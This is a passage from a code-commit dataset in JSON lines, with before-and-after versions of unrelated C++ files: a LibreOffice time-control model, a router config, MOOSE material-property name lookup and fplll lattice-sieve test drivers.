       }\n            }\n            catch(Exception&)\n            {\n                return sal_False;\n            }\n        }\n        m_aSaveValue = aControlValue;\n    }\n    return sal_True;\n}\n\n\/\/------------------------------------------------------------------------------\nAny OTimeModel::translateControlValueToExternalValue( ) const\n{\n    Any aExternalValue( getControlValue() );\n    if ( aExternalValue.hasValue() )\n    {\n        sal_Int32 nTime = 0;\n        OSL_VERIFY( aExternalValue >>= nTime );\n        if ( nTime == ::Time( 99, 99, 99 ).GetTime() )\n            \/\/ \"invalid time\" in VCL is different from \"invalid time\" in UNO\n            aExternalValue <<= util::Time( -1, -1, -1, -1 );\n        else\n            aExternalValue <<= DBTypeConversion::toTime( nTime );\n    }\n    return aExternalValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny OTimeModel::translateExternalValueToControlValue( ) const\n{\n    OSL_PRECOND( hasExternalValueBinding(),\n        \"OTimeModel::translateExternalValueToControlValue: precondition not met!\" );\n\n    Any aControlValue;\n    if ( hasExternalValueBinding() )\n    {\n        Any aExternalValue = getExternalValueBinding()->getValue( ::getCppuType( static_cast< util::Time* >( NULL ) ) );\n        if ( aExternalValue.hasValue() )\n        {\n            util::Time aTime;\n            OSL_VERIFY( aExternalValue >>= aTime );\n            aControlValue <<= DBTypeConversion::toINT32( aTime );\n        }\n    }\n    return aControlValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny OTimeModel::translateDbColumnToControlValue()\n{\n    util::Time aTime = m_xColumn->getTime();\n    if ( m_xColumn->wasNull() )\n        m_aSaveValue.clear();\n    else\n        \/\/ the aggregated set expects an Int32 as value ...\n        m_aSaveValue <<= DBTypeConversion::toINT32( aTime );\n\n    return m_aSaveValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny OTimeModel::getDefaultForReset() const\n{\n    Any aValue;\n    if  (m_aDefault.getValueType().getTypeClass() == TypeClass_LONG)\n        aValue = m_aDefault;\n    else\n    {   \/\/ aktuelles Datum einstellen\n        ::Time aCurrentTime;\n        aValue <<= (sal_Int32)aCurrentTime.GetTime();\n    }\n\n    return aValue;\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool OTimeModel::approveValueBinding( const Reference< binding::XValueBinding >& _rxBinding )\n{\n    OSL_PRECOND( _rxBinding.is(), \"OTimeModel::approveValueBinding: invalid binding!\" );\n\n    return  _rxBinding.is()\n        &&  _rxBinding->supportsType( ::getCppuType( static_cast< util::Time* >( NULL ) ) );\n}\n\n\/\/.........................................................................\n}   \/\/ namespace frm\n\/\/.........................................................................\n\n<|endoftext|>"}
{"text":"<commit_before>#ifndef CONFIG_HPP\n#define CONFIG_HPP\n\n#include \"basicTrie.hpp\"\n#include \"naive.hpp\"\n\n\/\/ Which LPM implmentation to use\nusing LPM=Naive;\n\n\/\/ Fixed ring size\nconstexpr auto RING_SIZE = 1024;\n\n\/\/ Maximum time to wait for ARP\nconstexpr auto ARP_WAIT_MILLIS = 1000;\n\n\/\/ Maximum backlog in a worker\nconstexpr auto WORKER_MAX_BACKLOG = 256;\n\n#endif \/* FRAME_HPP *\/\n<commit_msg>switch to BasicTrie<commit_after>#ifndef CONFIG_HPP\n#define CONFIG_HPP\n\n#include \"basicTrie.hpp\"\n#include \"naive.hpp\"\n\n\/\/ Which LPM implmentation to use\nusing LPM=BasicTrie;\n\n\/\/ Fixed ring size\nconstexpr auto RING_SIZE = 1024;\n\n\/\/ Maximum time to wait for ARP\nconstexpr auto ARP_WAIT_MILLIS = 1000;\n\n\/\/ Maximum backlog in a worker\nconstexpr auto WORKER_MAX_BACKLOG = 256;\n\n#endif \/* CONFIG_HPP *\/\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#include \"SubProblem.h\"\n#include \"Factory.h\"\n#include \"MooseMesh.h\"\n#include \"Conversion.h\"\n#include \"Function.h\"\n#include \"MooseApp.h\"\n\ntemplate<>\nInputParameters validParams<SubProblem>()\n{\n  InputParameters params = validParams<Problem>();\n  return params;\n}\n\n\/\/ SubProblem \/\/\/\/\/\n\nSubProblem::SubProblem(const std::string & name, InputParameters parameters) :\n    Problem(name, parameters),\n    _factory(_app.getFactory()),\n    _restartable_data(libMesh::n_threads())\n{\n  unsigned int n_threads = libMesh::n_threads();\n  _real_zero.resize(n_threads, 0.);\n  _zero.resize(n_threads);\n  _grad_zero.resize(n_threads);\n  _second_zero.resize(n_threads);\n  _second_phi_zero.resize(n_threads);\n  _active_elemental_moose_variables.resize(n_threads);\n  _has_active_elemental_moose_variables.resize(n_threads);\n}\n\nSubProblem::~SubProblem()\n{\n  unsigned int n_threads = libMesh::n_threads();\n  for (unsigned int i = 0; i < n_threads; i++)\n  {\n    _zero[i].release();\n    _grad_zero[i].release();\n    _second_zero[i].release();\n    _second_phi_zero[i].release();\n  }\n}\n\nvoid\nSubProblem::setActiveElementalMooseVariables(const std::set<MooseVariable *> & moose_vars, THREAD_ID tid)\n{\n  _has_active_elemental_moose_variables[tid] = 1;\n  _active_elemental_moose_variables[tid] = moose_vars;\n}\n\nconst std::set<MooseVariable *> &\nSubProblem::getActiveElementalMooseVariables(THREAD_ID tid)\n{\n  return _active_elemental_moose_variables[tid];\n}\n\nbool\nSubProblem::hasActiveElementalMooseVariables(THREAD_ID tid)\n{\n  return _has_active_elemental_moose_variables[tid];\n}\n\nvoid\nSubProblem::clearActiveElementalMooseVariables(THREAD_ID tid)\n{\n  _has_active_elemental_moose_variables[tid] = 0;\n  _active_elemental_moose_variables[tid].clear();\n}\n\nstd::set<SubdomainID>\nSubProblem::getMaterialPropertyBlocks(const std::string & prop_name)\n{\n  std::set<SubdomainID> blocks;\n\n  for (std::map<unsigned int, std::set<std::string> >::iterator it = _map_block_material_props.begin();\n      it != _map_block_material_props.end();\n      ++it)\n  {\n    std::set<std::string> & prop_names = it->second;\n    std::set<std::string>::iterator name_it = prop_names.find(prop_name);\n    if (name_it != prop_names.end())\n      blocks.insert(it->first);\n  }\n\n  return blocks;\n}\n\nstd::vector<SubdomainName>\nSubProblem::getMaterialPropertyBlockNames(const std::string & prop_name)\n{\n  std::set<SubdomainID> blocks = getMaterialPropertyBlocks(prop_name);\n  std::vector<SubdomainName> block_names;\n  block_names.reserve(blocks.size());\n\n  for (std::set<SubdomainID>::iterator it = blocks.begin(); it != blocks.end(); ++it)\n  {\n    std::stringstream ss;\n    ss << *it;\n    block_names.push_back(ss.str());\n  }\n  return block_names;\n}\n\nstd::set<BoundaryID>\nSubProblem::getMaterialPropertyBoundaryIDs(const std::string & prop_name)\n{\n  std::set<BoundaryID> boundaries;\n\n  for (std::map<unsigned int, std::set<std::string> >::iterator it = _map_boundary_material_props.begin();\n      it != _map_boundary_material_props.end();\n      ++it)\n  {\n    std::set<std::string> & prop_names = it->second;\n    std::set<std::string>::iterator name_it = prop_names.find(prop_name);\n    if (name_it != prop_names.end())\n      boundaries.insert(it->first);\n  }\n\n  return boundaries;\n}\n\nstd::vector<BoundaryName>\nSubProblem::getMaterialPropertyBoundaryNames(const std::string & prop_name)\n{\n  std::set<BoundaryID> boundaries = getMaterialPropertyBoundaryIDs(prop_name);\n  std::vector<BoundaryName> boundary_names;\n  boundary_names.reserve(boundaries.size());\n\n  for (std::set<BoundaryID>::iterator it = boundaries.begin(); it != boundaries.end(); ++it)\n  {\n    std::stringstream ss;\n    ss << *it;\n    boundary_names.push_back(ss.str());\n  }\n  return boundary_names;\n}\n\nvoid\nSubProblem::storeMatPropName(SubdomainID block_id, const std::string & name)\n{\n  _map_block_material_props[block_id].insert(name);\n}\n\nvoid\nSubProblem::storeMatPropName(BoundaryID boundary_id, const std::string & name)\n{\n  _map_boundary_material_props[boundary_id].insert(name);\n}\n\nvoid\nSubProblem::storeDelayedCheckMatProp(const std::string & requestor, SubdomainID block_id, const std::string & name)\n{\n  _map_block_material_props_check[block_id].insert(std::make_pair(requestor, name));\n}\n\nvoid\nSubProblem::storeDelayedCheckMatProp(const std::string & requestor, BoundaryID boundary_id, const std::string & name)\n{\n  _map_boundary_material_props_check[boundary_id].insert(std::make_pair(requestor, name));\n}\n\nvoid\nSubProblem::checkBlockMatProps()\n{\n  checkMatProps(_map_block_material_props, _map_block_material_props_check, \"block\");\n}\n\nvoid\nSubProblem::checkBoundaryMatProps()\n{\n  checkMatProps(_map_boundary_material_props, _map_boundary_material_props_check, \"boundary\");\n}\n\nvoid\nSubProblem::markMatPropRequested(const std::string & prop_name)\n{\n  _material_property_requested.insert(prop_name);\n}\n\nbool\nSubProblem::isMatPropRequested(const std::string & prop_name) const\n{\n  return _material_property_requested.find(prop_name) != _material_property_requested.end();\n}\n\nDiracKernelInfo &\nSubProblem::diracKernelInfo()\n{\n  return _dirac_kernel_info;\n}\n\nReal\nSubProblem::finalNonlinearResidual()\n{\n  return 0;\n}\n\nunsigned int\nSubProblem::nNonlinearIterations()\n{\n  return 0;\n}\n\nunsigned int\nSubProblem::nLinearIterations()\n{\n  return 0;\n}\n\nvoid\nSubProblem::meshChanged()\n{\n  mooseError(\"This system does not support changing the mesh\");\n}\n\nvoid\nSubProblem::checkMatProps(std::map<unsigned int, std::set<std::string> > & props,\n                          std::map<unsigned int, std::multimap<std::string, std::string> > & check_props,\n                          const std::string & type)\n{\n\n  \/\/ Set flag for type: block\/boundary\n  bool block_type;\n  if (type.compare(\"block\") == 0)\n    block_type = true;\n  else if (type.compare(\"boundary\") == 0)\n    block_type = false;\n  else\n    mooseError(\"Unknown type argument, it must be 'block' or 'boundary'\");\n\n  \/\/ Variable for storing the value for ANY_BLOCK_ID\/ANY_BOUNDARY_ID\n  int any_id;\n\n  \/\/ Variable for storing all available blocks\/boundaries from the mesh\n  std::set<int> all_ids;\n\n  \/\/ Define the id variables based on the type of material checking\n  if (block_type)\n  {\n    any_id = Moose::ANY_BLOCK_ID;\n    all_ids.insert(mesh().meshSubdomains().begin(), mesh().meshSubdomains().end());\n  }\n  else\n  {\n    any_id = Moose::ANY_BOUNDARY_ID;\n    all_ids.insert(mesh().getBoundaryIDs().begin(), mesh().getBoundaryIDs().end());\n  }\n\n  \/\/ Loop through the properties to check\n  for (std::map<unsigned int, std::multimap<std::string, std::string> >::const_iterator check_it = check_props.begin();\n       check_it != check_props.end(); ++check_it)\n  {\n    \/\/ The current id for the property being checked (BoundaryID || BlockID)\n    int check_id = check_it->first;\n\n    \/\/ Get the name of the block\/boundary (for error reporting)\n    std::string check_name;\n    if (block_type)\n    {\n      \/\/ TODO: Put a better a interface in MOOSE\n      std::map<subdomain_id_type, std::string> & name_map = mesh().getMesh().set_subdomain_name_map();\n      std::map<subdomain_id_type, std::string>::const_iterator pos = name_map.find(check_id);\n      if (pos != name_map.end())\n        check_name = pos->second;\n    }\n    else\n      check_name = mesh().getMesh().get_boundary_info().sideset_name(check_id);\n\n    \/\/ Create a name if it doesn't exist\n    if (check_name.empty())\n    {\n      std::ostringstream ss;\n      ss << check_id;\n      check_name = ss.str();\n    }\n\n    \/\/ In the case when the material being checked has an ID is set to ANY, then loop through all\n    \/\/ the possible ids and verify that the material property is defined.\n    if (check_id == any_id)\n    {\n      \/\/ Loop through all the block\/boundary ids\n      for (std::set<int>::const_iterator all_it = all_ids.begin(); all_it != all_ids.end(); ++all_it)\n      {\n        \/\/ Loop through all the stored properties\n        for (std::multimap<std::string, std::string>::const_iterator prop_it = check_it->second.begin(); prop_it != check_it->second.end(); ++prop_it)\n        {\n          \/\/ Produce an error if the material is not defined on the current block\/boundary and any block\/boundary\n          if (props[*all_it].find(prop_it->second) == props[*all_it].end() && props[any_id].find(prop_it->second) == props[any_id].end())\n            mooseError(\"Material property '\" + prop_it->second + \"', requested by '\" + prop_it->first + \"' is not defined on \" + type + \" \" + Moose::stringify(*all_it));\n        }\n      }\n    }\n\n    \/\/ If the property is contained in the map of properties, loop over the stored names for the current id and\n    \/\/ check that the property is defined\n    else if (props.find(check_id) != props.end())\n      for (std::multimap<std::string, std::string>::const_iterator prop_it = check_it->second.begin(); prop_it != check_it->second.end(); ++prop_it)\n      {\n        \/\/ Check if the name is contained in the map and skip over the id if it is Moose::ANY_BLOCK_ID\/ANY_BOUNDARY_ID\n        if (props[check_id].find(prop_it->second) == props[check_id].end() && check_id != any_id)\n          mooseError(\"Material property '\" + prop_it->second + \"', requested by '\" + prop_it->first + \"' is not defined on \" + type + \" \" + check_name);\n      }\n    else\n      mooseError(\"No material defined on \" + type + \" \" + check_name);\n  }\n}\n<commit_msg>Retrieved of block\/boundary names for a meterial property returns the actual names (refs #4420)<commit_after>\/****************************************************************\/\n\/*               DO NOT MODIFY THIS HEADER                      *\/\n\/* MOOSE - Multiphysics Object Oriented Simulation Environment  *\/\n\/*                                                              *\/\n\/*           (c) 2010 Battelle Energy Alliance, LLC             *\/\n\/*                   ALL RIGHTS RESERVED                        *\/\n\/*                                                              *\/\n\/*          Prepared by Battelle Energy Alliance, LLC           *\/\n\/*            Under Contract No. DE-AC07-05ID14517              *\/\n\/*            With the U. S. Department of Energy               *\/\n\/*                                                              *\/\n\/*            See COPYRIGHT for full restrictions               *\/\n\/****************************************************************\/\n\n#include \"SubProblem.h\"\n#include \"Factory.h\"\n#include \"MooseMesh.h\"\n#include \"Conversion.h\"\n#include \"Function.h\"\n#include \"MooseApp.h\"\n\ntemplate<>\nInputParameters validParams<SubProblem>()\n{\n  InputParameters params = validParams<Problem>();\n  return params;\n}\n\n\/\/ SubProblem \/\/\/\/\/\n\nSubProblem::SubProblem(const std::string & name, InputParameters parameters) :\n    Problem(name, parameters),\n    _factory(_app.getFactory()),\n    _restartable_data(libMesh::n_threads())\n{\n  unsigned int n_threads = libMesh::n_threads();\n  _real_zero.resize(n_threads, 0.);\n  _zero.resize(n_threads);\n  _grad_zero.resize(n_threads);\n  _second_zero.resize(n_threads);\n  _second_phi_zero.resize(n_threads);\n  _active_elemental_moose_variables.resize(n_threads);\n  _has_active_elemental_moose_variables.resize(n_threads);\n}\n\nSubProblem::~SubProblem()\n{\n  unsigned int n_threads = libMesh::n_threads();\n  for (unsigned int i = 0; i < n_threads; i++)\n  {\n    _zero[i].release();\n    _grad_zero[i].release();\n    _second_zero[i].release();\n    _second_phi_zero[i].release();\n  }\n}\n\nvoid\nSubProblem::setActiveElementalMooseVariables(const std::set<MooseVariable *> & moose_vars, THREAD_ID tid)\n{\n  _has_active_elemental_moose_variables[tid] = 1;\n  _active_elemental_moose_variables[tid] = moose_vars;\n}\n\nconst std::set<MooseVariable *> &\nSubProblem::getActiveElementalMooseVariables(THREAD_ID tid)\n{\n  return _active_elemental_moose_variables[tid];\n}\n\nbool\nSubProblem::hasActiveElementalMooseVariables(THREAD_ID tid)\n{\n  return _has_active_elemental_moose_variables[tid];\n}\n\nvoid\nSubProblem::clearActiveElementalMooseVariables(THREAD_ID tid)\n{\n  _has_active_elemental_moose_variables[tid] = 0;\n  _active_elemental_moose_variables[tid].clear();\n}\n\nstd::set<SubdomainID>\nSubProblem::getMaterialPropertyBlocks(const std::string & prop_name)\n{\n  std::set<SubdomainID> blocks;\n\n  for (std::map<unsigned int, std::set<std::string> >::iterator it = _map_block_material_props.begin();\n      it != _map_block_material_props.end();\n      ++it)\n  {\n    std::set<std::string> & prop_names = it->second;\n    std::set<std::string>::iterator name_it = prop_names.find(prop_name);\n    if (name_it != prop_names.end())\n      blocks.insert(it->first);\n  }\n\n  return blocks;\n}\n\nstd::vector<SubdomainName>\nSubProblem::getMaterialPropertyBlockNames(const std::string & prop_name)\n{\n  std::set<SubdomainID> blocks = getMaterialPropertyBlocks(prop_name);\n  std::vector<SubdomainName> block_names;\n  block_names.reserve(blocks.size());\n  for (std::set<SubdomainID>::iterator it = blocks.begin(); it != blocks.end(); ++it)\n  {\n    SubdomainName name = mesh().getMesh().subdomain_name(*it);\n    if (name.empty())\n    {\n      std::ostringstream oss;\n      oss << *it;\n      name = oss.str();\n    }\n    block_names.push_back(name);\n  }\n\n  return block_names;\n}\n\nstd::set<BoundaryID>\nSubProblem::getMaterialPropertyBoundaryIDs(const std::string & prop_name)\n{\n  std::set<BoundaryID> boundaries;\n\n  for (std::map<unsigned int, std::set<std::string> >::iterator it = _map_boundary_material_props.begin();\n      it != _map_boundary_material_props.end();\n      ++it)\n  {\n    std::set<std::string> & prop_names = it->second;\n    std::set<std::string>::iterator name_it = prop_names.find(prop_name);\n    if (name_it != prop_names.end())\n      boundaries.insert(it->first);\n  }\n\n  return boundaries;\n}\n\nstd::vector<BoundaryName>\nSubProblem::getMaterialPropertyBoundaryNames(const std::string & prop_name)\n{\n  std::set<BoundaryID> boundaries = getMaterialPropertyBoundaryIDs(prop_name);\n  std::vector<BoundaryName> boundary_names;\n  boundary_names.reserve(boundaries.size());\n  const BoundaryInfo & boundary_info = mesh().getMesh().get_boundary_info();\n\n  for (std::set<BoundaryID>::iterator it = boundaries.begin(); it != boundaries.end(); ++it)\n  {\n    BoundaryName name = boundary_info.get_sideset_name(*it);\n    if (name.empty())\n    {\n      std::ostringstream oss;\n      oss << *it;\n      name = oss.str();\n    }\n    boundary_names.push_back(name);\n  }\n\n  return boundary_names;\n}\n\nvoid\nSubProblem::storeMatPropName(SubdomainID block_id, const std::string & name)\n{\n  _map_block_material_props[block_id].insert(name);\n}\n\nvoid\nSubProblem::storeMatPropName(BoundaryID boundary_id, const std::string & name)\n{\n  _map_boundary_material_props[boundary_id].insert(name);\n}\n\nvoid\nSubProblem::storeDelayedCheckMatProp(const std::string & requestor, SubdomainID block_id, const std::string & name)\n{\n  _map_block_material_props_check[block_id].insert(std::make_pair(requestor, name));\n}\n\nvoid\nSubProblem::storeDelayedCheckMatProp(const std::string & requestor, BoundaryID boundary_id, const std::string & name)\n{\n  _map_boundary_material_props_check[boundary_id].insert(std::make_pair(requestor, name));\n}\n\nvoid\nSubProblem::checkBlockMatProps()\n{\n  checkMatProps(_map_block_material_props, _map_block_material_props_check, \"block\");\n}\n\nvoid\nSubProblem::checkBoundaryMatProps()\n{\n  checkMatProps(_map_boundary_material_props, _map_boundary_material_props_check, \"boundary\");\n}\n\nvoid\nSubProblem::markMatPropRequested(const std::string & prop_name)\n{\n  _material_property_requested.insert(prop_name);\n}\n\nbool\nSubProblem::isMatPropRequested(const std::string & prop_name) const\n{\n  return _material_property_requested.find(prop_name) != _material_property_requested.end();\n}\n\nDiracKernelInfo &\nSubProblem::diracKernelInfo()\n{\n  return _dirac_kernel_info;\n}\n\nReal\nSubProblem::finalNonlinearResidual()\n{\n  return 0;\n}\n\nunsigned int\nSubProblem::nNonlinearIterations()\n{\n  return 0;\n}\n\nunsigned int\nSubProblem::nLinearIterations()\n{\n  return 0;\n}\n\nvoid\nSubProblem::meshChanged()\n{\n  mooseError(\"This system does not support changing the mesh\");\n}\n\nvoid\nSubProblem::checkMatProps(std::map<unsigned int, std::set<std::string> > & props,\n                          std::map<unsigned int, std::multimap<std::string, std::string> > & check_props,\n                          const std::string & type)\n{\n\n  \/\/ Set flag for type: block\/boundary\n  bool block_type;\n  if (type.compare(\"block\") == 0)\n    block_type = true;\n  else if (type.compare(\"boundary\") == 0)\n    block_type = false;\n  else\n    mooseError(\"Unknown type argument, it must be 'block' or 'boundary'\");\n\n  \/\/ Variable for storing the value for ANY_BLOCK_ID\/ANY_BOUNDARY_ID\n  int any_id;\n\n  \/\/ Variable for storing all available blocks\/boundaries from the mesh\n  std::set<int> all_ids;\n\n  \/\/ Define the id variables based on the type of material checking\n  if (block_type)\n  {\n    any_id = Moose::ANY_BLOCK_ID;\n    all_ids.insert(mesh().meshSubdomains().begin(), mesh().meshSubdomains().end());\n  }\n  else\n  {\n    any_id = Moose::ANY_BOUNDARY_ID;\n    all_ids.insert(mesh().getBoundaryIDs().begin(), mesh().getBoundaryIDs().end());\n  }\n\n  \/\/ Loop through the properties to check\n  for (std::map<unsigned int, std::multimap<std::string, std::string> >::const_iterator check_it = check_props.begin();\n       check_it != check_props.end(); ++check_it)\n  {\n    \/\/ The current id for the property being checked (BoundaryID || BlockID)\n    int check_id = check_it->first;\n\n    \/\/ Get the name of the block\/boundary (for error reporting)\n    std::string check_name;\n    if (block_type)\n    {\n      \/\/ TODO: Put a better a interface in MOOSE\n      std::map<subdomain_id_type, std::string> & name_map = mesh().getMesh().set_subdomain_name_map();\n      std::map<subdomain_id_type, std::string>::const_iterator pos = name_map.find(check_id);\n      if (pos != name_map.end())\n        check_name = pos->second;\n    }\n    else\n      check_name = mesh().getMesh().get_boundary_info().sideset_name(check_id);\n\n    \/\/ Create a name if it doesn't exist\n    if (check_name.empty())\n    {\n      std::ostringstream ss;\n      ss << check_id;\n      check_name = ss.str();\n    }\n\n    \/\/ In the case when the material being checked has an ID is set to ANY, then loop through all\n    \/\/ the possible ids and verify that the material property is defined.\n    if (check_id == any_id)\n    {\n      \/\/ Loop through all the block\/boundary ids\n      for (std::set<int>::const_iterator all_it = all_ids.begin(); all_it != all_ids.end(); ++all_it)\n      {\n        \/\/ Loop through all the stored properties\n        for (std::multimap<std::string, std::string>::const_iterator prop_it = check_it->second.begin(); prop_it != check_it->second.end(); ++prop_it)\n        {\n          \/\/ Produce an error if the material is not defined on the current block\/boundary and any block\/boundary\n          if (props[*all_it].find(prop_it->second) == props[*all_it].end() && props[any_id].find(prop_it->second) == props[any_id].end())\n            mooseError(\"Material property '\" + prop_it->second + \"', requested by '\" + prop_it->first + \"' is not defined on \" + type + \" \" + Moose::stringify(*all_it));\n        }\n      }\n    }\n\n    \/\/ If the property is contained in the map of properties, loop over the stored names for the current id and\n    \/\/ check that the property is defined\n    else if (props.find(check_id) != props.end())\n      for (std::multimap<std::string, std::string>::const_iterator prop_it = check_it->second.begin(); prop_it != check_it->second.end(); ++prop_it)\n      {\n        \/\/ Check if the name is contained in the map and skip over the id if it is Moose::ANY_BLOCK_ID\/ANY_BOUNDARY_ID\n        if (props[check_id].find(prop_it->second) == props[check_id].end() && check_id != any_id)\n          mooseError(\"Material property '\" + prop_it->second + \"', requested by '\" + prop_it->first + \"' is not defined on \" + type + \" \" + check_name);\n      }\n    else\n      mooseError(\"No material defined on \" + type + \" \" + check_name);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\n#include \"sieve_main.h\"\n#include \"fplll.h\"\n\/\/#include \"LatticePoint.h\"\n\/\/#include \"PointList.h\"\n#include <thread>\n#include <chrono>\n#include \"SieveGauss.h\"\n#include <iostream>\n#include <fstream>\n\nusing namespace fplll;\n\n\/\/ Z_NR can be either long, double, or mpz_t\n\ntemplate <class ZT>\nvoid test_run_sieve(int dim)\n{\n    TerminationConditions< Z_NR<ZT> > term_cond; \/\/sets target-legnth as Mink. bound\n    ZZ_mat<ZT> B;\n    B.resize(dim, dim);\n    B.gen_trg(1.1);\n    lll_reduction(B, LLL_DEF_DELTA, LLL_DEF_ETA, LM_WRAPPER);\n    Sieve<Z_NR<ZT>, false> Test_Queue (B);\n    \/\/Test_Queue.run_2_sieve(term_cond); \/\/file-name to output the results of tests\n    \n}\n\nint main(int argc, char **argv)\n{\n\n    cout << \"Hello \" << endl;\n    \n    bool longflag = false; \/\/to be read_in as input\n    int dim[] = {25, 30, 35, 40, 42, 44, 46, 48, 50, 52, 54, 56};\n    int length = 12;\n    \n    if (longflag)\n    {\n        for (int i=0; i<length; i++)\n            test_run_sieve<long>(dim[i]);\n    }\n    \n    else\n    {\n        test_run_sieve<mpz_t>(dim[0]);\n    }\n    \n    \/\/auto start = std::chrono::high_resolution_clock::now();\n\/\/    auto finish = std::chrono::high_resolution_clock::now();\n\/\/    auto microseconds = std::chrono::duration_cast<std::chrono::microseconds>(finish-start);\n\/\/    cout << \" Time taken: \" << microseconds.count()\/1000000.0 << \"sec\" << endl;\n  return 1;\n}\n<commit_msg>Demo for output.<commit_after>\n#include \"sieve_main.h\"\n#include \"fplll.h\"\n\/\/#include \"LatticePoint.h\"\n\/\/#include \"PointList.h\"\n#include <thread>\n#include <chrono>\n#include \"SieveGauss.h\"\n#include <iostream>\n#include <fstream>\n\nusing namespace fplll;\n\n\/\/ Z_NR can be either long, double, or mpz_t\n\ntemplate <class ZT>\nvoid test_run_sieve(int dim)\n{\n    TerminationConditions< Z_NR<ZT> > term_cond; \/\/sets target-legnth as Mink. bound\n    ZZ_mat<ZT> B;\n    B.resize(dim, dim);\n    B.gen_trg(1.1);\n    lll_reduction(B, LLL_DEF_DELTA, LLL_DEF_ETA, LM_WRAPPER);\n    Sieve<Z_NR<ZT>, false> Test_Queue (B);\n    \/\/Test_Queue.run_2_sieve(term_cond); \/\/file-name to output the results of tests\n    {\n    std::ofstream ofs(\"FILENAME\");\n    Test_Queue.print_status(-1,ofs);\n    }\n}\n\nint main(int argc, char **argv)\n{\n\n    cout << \"Hello \" << endl;\n\n    bool longflag = false; \/\/to be read_in as input\n    int dim[] = {25, 30, 35, 40, 42, 44, 46, 48, 50, 52, 54, 56};\n    int length = 12;\n\n    if (longflag)\n    {\n        for (int i=0; i<length; i++)\n            test_run_sieve<long>(dim[i]);\n    }\n\n    else\n    {\n        test_run_sieve<mpz_t>(dim[0]);\n    }\n\n    \/\/auto start = std::chrono::high_resolution_clock::now();\n\/\/    auto finish = std::chrono::high_resolution_clock::now();\n\/\/    auto microseconds = std::chrono::duration_cast<std::chrono::microseconds>(finish-start);\n\/\/    cout << \" Time taken: \" << microseconds.count()\/1000000.0 << \"sec\" << endl;\n  return 1;\n}\n<|endoftext|>"}
{"text":"<commit_before>#define USE_REGULAR_QUEUE \/\/comment out if you use priority-queue\n\n\n#include \"sieve_main.h\"\n#include \"fplll.h\"\n#include \"LatticePoint.h\"\n#include \"PointList.h\"\n#include <thread>\n#include <chrono>\n#include \"SieveGauss.h\"\n#include \"LatticePoint2.h\"\n#include <iostream>\n#include <fstream>\n#include \"Sampler.h\"\n#include <random>\n#include \"FilteredList.h\"\n\nusing namespace fplll;\n\n\/\/ Z_NR can be either long, double, or mpz_t\n\ntemplate <class ZT> void test_run_sieve(int dim, std::ofstream &ofs)\n{\n    \/\/TerminationConditions< Z_NR<ZT> > term_cond; \/\/sets target-legnth as Mink. bound\n\n\n    \/\/lll_reduction(B, LLL_DEF_DELTA, LLL_DEF_ETA, LM_WRAPPER);\n    \/\/Sieve<Z_NR<ZT>, false> Test_Queue (B);\n    \/\/Test_Queue.run_2_sieve();\n\n    ZZ_mat<ZT> BTest;\n    BTest.resize(dim, dim);\n    \/\/BTest.gen_trg(1.1);\n    srand (1);\n    BTest.gen_qary_prime(1, 10*dim);\n\n    if (dim >= 60)\n        bkz_reduction(BTest, 8, BKZ_DEFAULT, FT_DEFAULT, 0);\n    else\n        lll_reduction(BTest, LLL_DEF_DELTA, LLL_DEF_ETA, LM_WRAPPER);\n\n    Sieve<Z_NR<ZT>, false> Test_Queue (BTest);\n\n    ofs << \"sieve is run on B[0]\" << BTest[0] << endl;\n\n    auto start = std::chrono::high_resolution_clock::now();\n    Test_Queue.run();\n    auto finish = std::chrono::high_resolution_clock::now();\n    auto microseconds = std::chrono::duration_cast<std::chrono::microseconds>(finish-start);\n\n    Test_Queue.print_status(-1,ofs);\n\n\n    ofs << \" Time taken: \" << microseconds.count()\/1000000.0 << \"sec\" << endl;\n}\n\ntemplate <class Z> void sample_gaussians(int number, double s, double center, double cutoff)\n{\n    std::mt19937_64 engine;\n    for (int i=0; i<number;++i)\n    {\n        cout << GaussSieve::sample_z_gaussian<Z, std::mt19937_64>(s,center,engine, cutoff) << endl;\n    }\n}\n\nint main(int argc, char **argv)\n{\nsample_gaussians<long>(50, 10.0, 0.3, 4.0);\nsample_gaussians<long>(50, 0.0000001, 0.48, 4.0); \/\/should still be fast.\n\n\nZZ_mat<mpz_t> B,u,u_inv;\nB.resize(10, 10);\nMatrix<FP_NR<double > > r,mu;\nMatrix<Z_NR<mpz_t> > g;\n    \/\/generates a lower-triangular matrix B; the argument determines (in a complicated way) the bit-size of entries\n    \/\/B.gen_trg(1.1);\n\nsrand (1);\n    \/\/generates GM lattice\nB.gen_qary_prime(1, 15);\n\n\nauto pGSO = new MatGSO<Z_NR<mpz_t>, FP_NR<double>>(B, u, u_inv, 1);\n\n  pGSO->update_gso();\n  mu = pGSO->get_mu_matrix();\n  r  = pGSO->get_r_matrix();\n  g  = pGSO->get_g_matrix();\n\ncout << B << endl;\ncout << mu<< endl;\ncout << r << endl;\ncout << g << endl;\n\n\n\/\/        \/\/int dim[] = {52, 54, 56, 58, 60, 62, 64};\n\/\/        int dim = 62;\n\/\/        int length = 7;\n\/\/\n\/\/    \t#ifdef USE_REGULAR_QUEUE\n\/\/        std::ofstream ofs(\"test_sieve_PQ_dim\" +to_string(dim) + \".txt\");\n\/\/\t\tofs << \"WITH PRIORITY QUEUE\" << endl;\n\/\/\t#else\n\/\/\t\tstd::ofstream ofs(\"test_sieve_dim\"+to_string(dim) + \".txt\");\n\/\/\t\tofs << \"WITH STANDARD QUEUE\" << endl;\n\/\/\t#endif\n\/\/\tfor (int i=0; i<length; i++) {\n\/\/\n\/\/\n\/\/\t\tofs << \"start sieve on lattice of dim = \" << dim[i] << endl;\n\/\/        \ttest_run_sieve<mpz_t>(dim[i], ofs);\n\/\/\t\tofs << \"----------------------------------------\" << endl;\n\/\/\t}\n\n\/\/    for (int i=0; i<1; i++)\n\/\/    {\n\/\/        ofs << \"start sieve on 